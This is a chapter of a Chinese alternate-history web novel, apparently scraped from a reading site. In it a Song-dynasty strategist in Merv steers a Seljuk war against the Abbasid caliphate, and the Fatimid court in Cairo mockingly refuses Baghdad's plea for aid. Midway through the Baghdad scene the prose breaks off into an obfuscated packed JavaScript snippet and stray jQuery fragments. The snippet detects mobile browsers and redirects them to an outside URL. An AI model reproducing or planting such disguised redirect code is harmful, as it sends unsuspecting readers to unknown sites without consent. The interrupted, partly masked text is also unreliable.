第一百七十三章 驱虎吞狼 暗控西疆

作品:《宰执新宋:我在古代搞科技

    梅尔夫,塞尔柱王宫。


    昔日金碧辉煌的宫殿,如今虽经修缮,却难掩那股被征服者占据的异样气息。空气中弥漫的不再是没药与乳香的奢靡,而是淡淡的墨香、纸张的气息,以及一丝若有若无的、来自遥远东方的茶香。巨大的波斯地毯上,摆放的不再是宴饮的矮几,而是数张拼接而成的巨大紫檀木案,上面铺满了绘有精细山川河流与城池关隘的西亚舆图。墙壁上,塞尔柱历代苏丹的画像被取下,换上了气势磅礴的**江山图与笔走龙蛇的汉字书法。


    凌泉端坐于原本属于塞尔柱苏丹的黄金王座之上,身着一袭玄色金线常服,而非戎装。他手中把玩着一支来自江南的紫毫笔,目光却并未落在面前堆积如山的文书上,而是投向了殿外那片被高墙分割的、梅尔夫灰蓝色的天空。


    王座之下,十余名身着宋、辽、西夏及西域各族服饰的文吏与“玄凤卫”密探,正屏息凝神,忙碌而有序地处理着来自四面八方的讯息。以鸽信、快马、乃至初步建立的烽燧信号系统传递而来的军报、政令、商情,如同百川归海,汇聚于此,经他们之手分类、摘要,最终呈送至凌泉案头。


    这里,已不再是塞尔柱的王庭,而是凌泉遥控**西疆的“安西都护府”临时中枢。


    “王爷,陆寒将军急报。”霜月的声音打破了殿内的宁静。她呈上一份封着火漆的细长铜管。


    凌泉接过,用一把小刀熟练地剔开火漆,抽出内里的薄绢,快速浏览。薄绢上,是陆寒那刚劲有力的笔迹,汇报着西征联军的最新进展。


    “嗯。”凌泉看完,将薄绢置于案上,嘴角勾起一丝不易察觉的弧度,“陆寒做得不错。‘驱虎吞狼’,这虎……倒是驱使得很顺手。”


    薄绢上写道:十五万联军(东、西塞尔柱拼凑十万,陆寒亲率五万“安西铁骑”为核心)已突破黑衣大食东部防线,兵锋直指其重镇哈马丹。战事激烈,塞尔柱军因世仇,作战极为悍勇,甚至有些……嗜杀过度,几成焦土之势。陆寒已按预定方略,一面“督促”塞尔柱军猛攻,一面暗中派兵“保护”(实为控制)关键商路节点与未遭严重破坏的城镇,并“劝诫”(实则强制要求)塞尔柱两军不得过度毁坏农田、水源及手工坊。同时,已派出多支工兵队伍,沿着进军路线,勘测地形,规划未来铁路走向,设立临时补给驿站。


    “传令陆寒,”凌泉沉吟片刻,开口道,“塞尔柱人复仇心切,可稍加纵容,但需控制尺度。凡遇负隅顽抗之城,可让塞尔柱军先行攻坚,消耗守军与自身锐气。破城后,我军再迅速接管,维持秩序,清点物资。重点在于……打通并稳固通往巴格达的商路主干道,清除沿途匪患与敌对势力。至于黑衣大食国本……暂不必动摇。”


    “是。”霜月迅速记录下要点,交由身旁文吏译为密码,通过信鸽发出。


    凌泉的策略清晰而冷酷。此番西征,绝非为塞尔柱复仇,更非要一举灭亡黑衣大食那庞然大物。目的有三:一曰“以战促和”,用武力将黑衣大食打痛、打怕,逼其最终坐到谈判桌前,答应通商条款;二曰“驱虎吞狼”,利用塞尔柱与黑衣大食的世仇,极大消耗双方国力军力,使其两败俱伤,再无暇东顾,亦无力阻碍商路;三曰“暗植势力”,在战火中悄然控制关键通道、资源点,为日后“苏记商盟”的大举进入铺平道路。


    这是一场精心控制的“有限战争”。凌泉坐在梅尔夫,如同最高明的棋手,遥控着陆寒这支利剑,既要让它劈开阻碍,又要防止它力道过猛,彻底砸烂棋盘。


    “王爷,‘海鹞’密报。”又一名“玄凤卫”呈上一份来自海上的密信。信笺带着淡淡的海腥味。


    凌泉展开,是弟弟**那跳脱飞扬的字迹,还配了一幅简陋却传神的素描——一艘巍峨的“镇远级”铁甲舰,舰艏劈波斩浪,背景是烈日下荒凉的阿拉伯海岸线。


    “大哥钧鉴:弟率‘南洋分舰队’已抵阿曼湾。依计行事,每日派快船巡弋波斯湾口,炮击黑衣大食沿海瞭望塔与废弃渔村数处,焚其小船数十。虚张声势,然声势颇足!黑衣大食沿岸诸城皆闭门自守,商船断绝,恐慌甚嚣尘上。弟估摸,其哈里发之求救信,怕是已塞满通往开罗(白衣大食/法蒂玛王朝首都)的驿道矣!哈哈!”


    凌泉看着信,摇头失笑。自己这个弟弟,打仗或许不如陆寒沉稳,但这搞破坏、拉仇恨、演戏虚张声势的本事,却是一流。海上这一把火,烧得正是时候。陆陆并进,双线施压,足以让黑衣大食那位哈里发焦头烂额,寝食难安。


    “告诉**,”凌泉笑道,“戏演得不错,但别玩过头。谨防黑衣大食狗急跳墙,集中水师反扑。若遇敌主力,不可浪战,以袭扰、破交为主。保持存在,持续施压即可。”


    “是。”


    与此同时,黑衣大食阿拔斯王朝首都,巴格达。


    智慧之城如今已全然被战争的阴云笼罩。底格里斯河浑浊的河水,仿佛也流淌着恐慌的气息。城头守军数量倍增,巡逻队穿梭不息,气氛紧张到了极点。


    皇宫之内,年迈的哈里发穆斯塔尔希德面色灰败,眼窝深陷,手中颤抖地拿着一份份来自前线的噩耗。


    “东方恶魔的军队……已经逼近哈马丹了?”


    “塞尔柱那些疯狗!他们……他们见人就杀!烧毁村庄!破坏灌溉系统!”


    “海面上……到处都是宋人的巨舰!他们的火炮……能打到岸上!”


    “我们的军队节节败退!粮草匮乏,士气低落……陛下!快想办法啊!”


    群臣乱作一团,争吵不休。有主战派声嘶力竭地要求集结全国兵力,与异教徒决一死战;有保守派则悲观地认为应收缩防线,固守巴格达;更有甚者,已暗中提议……迁都。


    “够了!”哈里发猛地一拍御座,声音嘶哑而无力。他疲惫地揉着眉心,眼中充满了绝望。东西两线同时告急,敌人强大而诡异,国内人心惶惶……难道……伟大的阿拔斯王朝,真的要亡于自己手中?


    “陛下!”首相颤巍巍出列,匍匐在地,声音带着哭腔,“为今之计……或许……或许只能向……向开罗求援了!”


    向开罗求援?向那些信奉异端(什叶派)、占据埃及和叙利亚、与阿拔斯王朝(逊尼派)争斗了上百年的法蒂玛王朝(白衣大食)求援?!


    殿内瞬间一片死寂!所有大臣都愣住了!向世仇求援?这……这简直是奇耻大辱!


    哈里发的脸色瞬间变得惨白,嘴唇哆嗦着,半晌说不出话来。这无疑是饮鸩止渴!但……除此之外,还有第二条路吗?难道眼睁睁看着巴格达被塞尔柱疯狗和东方恶魔蹂躏?


    巨大的**感和**的恐惧,如同两条毒蛇,死死缠绕着他的心脏。


    良久,他仿佛被抽空了所有力气,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16435369|181018||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    瘫软在御座上,用微不可闻的声音,艰难地吐出一个字:


    “……写……信。”


    一封盖着阿拔斯王朝哈里发玺印、措辞极其谦卑、近乎哀求的国书,由最快的驿马,带着黑衣大食最后的希望,星夜兼程,送往遥远的开罗。


    数日后,埃及,开罗。


    法蒂玛王朝哈里发阿米尔的宫廷,与巴格达的愁云惨淡截然不同,这里依旧弥漫着一种富庶慵懒的气息。


    年轻的哈里发阿米尔,悠闲地倚在铺着天鹅绒的软榻上,享受着侍从剥好的葡萄。他手中把玩着那封来自巴格达的求救信,脸上带着一种玩味的、近乎讥讽的笑容。


    “啧啧啧,”他轻笑着,对身旁的重臣们晃了晃信纸,“我们那位‘正统’的逊尼派兄弟……也有今天?居然低声下气地来求我们这些‘异端’了?”


    阶下群臣发出一阵哄笑。


    “陛下,此乃天赐良机!正好让阿拔斯那些伪信者与东方异教徒狗咬狗,两败俱伤!”


    “正是!我等可坐山观虎斗,待其筋疲力尽,或可出兵‘调解’,顺势收取叙利亚乃至美索不达米亚之地!”


    “救援?凭什么救援?让他们为自己的傲慢付出代价!”


    阿米尔听着臣子们的议论,笑容越发灿烂。他随手将那封饱含血泪的求救信扔在一旁的果盘里,沾上了葡萄的汁液。


    “回复巴格达,”他懒洋洋地挥挥手,语气轻佻,“就说……孤体恤兄弟之邦困境,然我国内亦有事端,兵力匮乏,粮草不继,实乃爱莫能助。唯愿**……保佑他们。”


    他甚至懒得找一个像样的借口。赤裸裸的拒绝,带着毫不掩饰的落井下石与幸灾乐祸。


    使者带着这封充满羞辱的回信,黯然返回巴格达。


    当消息传回时,黑衣大食哈里发穆斯塔尔希德,当场吐血昏厥。巴格达城内,最后的希望彻底破灭,恐慌如同瘟疫般彻底爆发。


    梅尔夫王宫。


    凌泉几乎在第一时间,通过“玄凤卫”的密报,知晓了开罗的回复。


    他站在巨大的舆图前,目光从巴格达移向开罗,嘴角那丝冰冷的弧度愈发明显。


    “白衣大食……果然不出所料。”他低声自语,“鼠目寸光,隔岸观火。也好……省了本王许多麻烦。”


    黑衣大食外援已绝,内部崩溃在即。陆寒在西线的“有限攻势”与**在海上的“战略威慑”,效果远超预期。塞尔柱这把“刀”,虽然疯狂,却很好用。


    “传令陆寒,”凌泉转身,声音沉稳而决断,“加大压力,但控制节奏。可遣使……秘密接触黑衣大食军中实权将领或地方总督……暗示他们,若愿弃暗投明,保障商路,本王……可保其富贵平安。”


    “另,通知穆罕默德和马苏德,”凌泉眼中闪过一丝厉色,“告诉他们,本王对他们的‘进展’……不甚满意。若再只顾烧杀抢掠,不顾恢复秩序、保障后勤……休怪本王……换一把更听话的刀。”


    最后的通牒已然发出。西征的棋局,已近终盘。凌泉的目光,似乎已穿透了巴格达的城墙,看到了黑衣大食屈膝求和、签署城下之盟的那一刻。


    地中海的东风,似乎已带着咸湿的气息,吹入了梅尔夫的王宫。通向西方的黄金之路,最后的、也是最庞大的一块绊脚石,正在他精准的操控下,缓缓……裂开。